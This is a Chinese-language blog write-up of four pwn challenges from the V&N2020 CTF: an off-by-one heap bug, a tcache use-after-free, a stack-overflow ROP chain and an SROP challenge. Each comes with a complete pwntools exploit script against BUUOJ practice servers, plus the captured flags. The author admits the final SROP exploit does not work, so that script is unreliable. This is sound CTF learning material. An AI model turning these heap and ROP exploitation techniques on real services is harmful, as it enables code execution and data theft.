V&N2020 公开赛复现
196082 慢慢好起来

总结一下:经过GFCTF的摧残打算复现一场较为简单的比赛了,虽然较为简单,但是也会有新东西学到哦。

simpleHeap

第一题就是我前几天学得off by one漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
int sub_CBB()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
printf("content:");
sub_C39(qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}

漏洞出现在edit函数内,可以多出一个字节。

题目主要存在的难点应该是让你多试一下realloc地址应该偏移多少

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

# r = process('./vn_pwn_simpleHeap')
r = remote('node4.buuoj.cn', 26488)
elf = ELF('./vn_pwn_simpleHeap')
libc = ELF('./libc-2.23.so')

context.log_level = 'debug'


def create(size, data):
r.recvuntil(b'choice: ')
r.sendline(b'1')
r.recvuntil(b'size?')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'content:')
r.send(data)


def edit(id, data):
r.recvuntil(b'choice: ')
r.sendline(b'2')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf-8'))
r.recvuntil(b'content:')
r.send(data)


def show(id):
r.recvuntil(b'choice: ')
r.sendline(b'3')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf-8'))


def delete(id):
r.recvuntil(b'choice: ')
r.sendline(b'4')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf-8'))


create(0x68, b'a'*0x68) # 0
create(0x60, b'a'*0x60) # 1
create(0x60, b'a'*0x60) # 2
create(0x60, b'a'*0x60) # 3

edit(0, b'a'*0x60+p64(0x70)+p8(0xe0+1))
delete(1)
create(0x60, b'a'*0x60) # 1
show(2)

main_arena_88 = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
info(hex(main_arena_88))
malloc_hook = malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
info(hex(malloc_hook))
libc_base = malloc_hook-libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['realloc']

one_gadget = libc_base+0x4526a

create(0x60, b'a'*0x60) # 4
delete(2)
delete(1)
delete(4)
create(0x60, p64(malloc_hook-0x20+5-8)) # 1
create(0x60, b'a'*0x60)
create(0x60, b'a'*0x60)
create(0x60, b'a'*(0x20-5-8-8)+p64(one_gadget)+p64(realloc+0xc))
# create(1, b'')

r.recvuntil(b'choice: ')
r.sendline(b'1')
r.recvuntil(b'size?')
r.sendline(bytes(str(0x10), encoding='utf-8'))
info(hex(one_gadget))
info(hex(realloc))

# gdb.attach(r)
# flag = flag{e919bec8-e5a6-4c1d-a44a-282f08c57c06}

r.interactive()

easyTHeap

这道题漏洞发生在delete函数内,没有清楚指针造成UAF

1
2
3
4
5
6
7
8
9
10
11
12
int sub_D2C()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 6 || !*(&unk_202080 + v1) )
exit(0);
free(*(&unk_202080 + v1));
dword_202060[v1] = 0;
return puts("Done!");
}

通过UAF得到tcache struct chunk的地址,再利用double free实现控制tcache struct chunk,进行tcache struct attack。这道题和GFCTF那道题很类似,不过这道简单一点,这里就不赘述可以去看复现GFCTF的那一篇 https://cv196082.gitee.io/2022/01/11/GFCTF/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

# r = process('./vn_pwn_easyTHeap')
r = remote('node4.buuoj.cn', 25768)
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')

context.log_level = 'debug'


def create(size):
r.recvuntil(b'choice: ')
r.sendline(b'1')
r.recvuntil(b'size?')
r.sendline(bytes(str(size), encoding='utf8'))


def edit(id, content):
r.recvuntil(b'choice: ')
r.sendline(b'2')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf8'))
r.recvuntil(b'content:')
r.send(content)


def show(id):
r.recvuntil(b'choice: ')
r.sendline(b'3')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf8'))


def delete(id):
r.recvuntil(b'choice: ')
r.sendline(b'4')
r.recvuntil(b'idx?')
r.sendline(bytes(str(id), encoding='utf8'))


create(0x50) # 0
delete(0)
delete(0)
show(0)
tcache_struct_addr = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))-0x250
print(hex(tcache_struct_addr))

create(0x50) # 1
edit(1, p64(tcache_struct_addr))
# delete(2)
create(0x50) # 2
create(0x50) # 3 tcache_struct
edit(3, b'a'*0x28)
delete(3)
show(3)
main_arena_96 = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
print(hex(main_arena_96))

malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
print(hex(malloc_hook))
libc_base = malloc_hook-libc.symbols['__malloc_hook']
realloc_addr = libc_base+libc.symbols['realloc']

one_gadget = libc_base+0x4f322

create(0x60) # 4
edit(4, b'\x00'*0x40+p64(0)*2+p64(malloc_hook-8))

create(0x30) # 5
edit(5, p64(one_gadget)+p64(realloc_addr+8))
# gdb.attach(r)

create(1)

r.interactive()

# flag:flag{ce977aa0-80c8-48c6-a1d0-24ec4f55ce17}

warmup

题目很简单,不过需要gdb调试一下,调试一下会发现,第一个不存在栈溢出的函数和第二个存在栈溢出的函数的两个栈地址是相邻的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

r = remote('node4.buuoj.cn', 26531)
#r = process('./vn_pwn_warmup')
elf = ELF('./vn_pwn_warmup')
libc = ELF('./libc-2.23.so')

r.recvuntil('gift: ')

puts_addr = int(r.recvline()[:-1], 16)


libc_base = puts_addr - libc.symbols['puts']

pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi\nret', arch='amd64')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi\nret', arch='amd64')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdx\nret', arch='amd64')))

open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
free_hook = libc_base + libc.symbols['__free_hook']

payload = b'a'*0x70 + b'b'*0x8
payload += p64(pop_rdi_ret)

payload2 = p64(0) + p64(pop_rsi_ret) + p64(free_hook) + \
p64(pop_rdx_ret) + p64(4) + p64(read_addr)
payload2 += p64(pop_rdi_ret) + p64(free_hook) + \
p64(pop_rsi_ret) + p64(0) + p64(open_addr)
payload2 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + \
p64(free_hook) + p64(pop_rdx_ret) + p64(100) + p64(read_addr)
payload2 += p64(pop_rdi_ret) + p64(free_hook) + p64(puts_addr)


r.recvuntil('something: ')
r.send(payload2)
r.recvuntil('name?')
r.send(payload)
r.send('flag')

r.interactive()

# flag:flag{963b2367-7364-44bf-8352-2c5552e4219e}

babybabypwn

这一个是最头疼的,不过我写的exp后面改得和其他wp一样也是打不通就很烦。

这道题使用的是SROP攻击,原理我还没怎么看懂,不过做题我应该能做出来,所以我就放个exp,后面会把SROP的原理和相关例题在做一篇博客。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(os='Linux', arch='amd64', log_level='debug')
# r = process('./vn_pwn_babybabypwn_1')
r = remote('node4.buuoj.cn', 29297)
elf = ELF('./vn_pwn_babybabypwn_1')
libc = ELF('./libc-2.23.so')

r.recvuntil(b'Here is my gift: 0x')
puts_addr = int(r.recvuntil(b'\n', drop=True), 16)
libc_base = puts_addr-libc.symbols['puts']
info(hex(libc_base))
libc_bss = libc.bss()+libc_base+0x100
pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
read_addr = libc.symbols['read']+libc_base
open_addr = libc.symbols['open']+libc_base
write_addr = libc.symbols['write']+libc_base

r.recvuntil(b'Please input magic message: ')
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = libc_bss
frame.rdx = 0x100
frame.rip = read_addr
frame.rsp = libc_bss
r.send(bytes(str(frame), encoding='utf8')[8:])

flag_addr = libc_bss+0x98

payload = p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \
p64(libc_bss)+p64(pop_rdx)+p64(0x40)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + \
p64(libc_bss)+p64(pop_rdx)+p64(0x40)+p64(write_addr)
payload += b'flag\x00'

r.send(payload)

r.interactive()
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量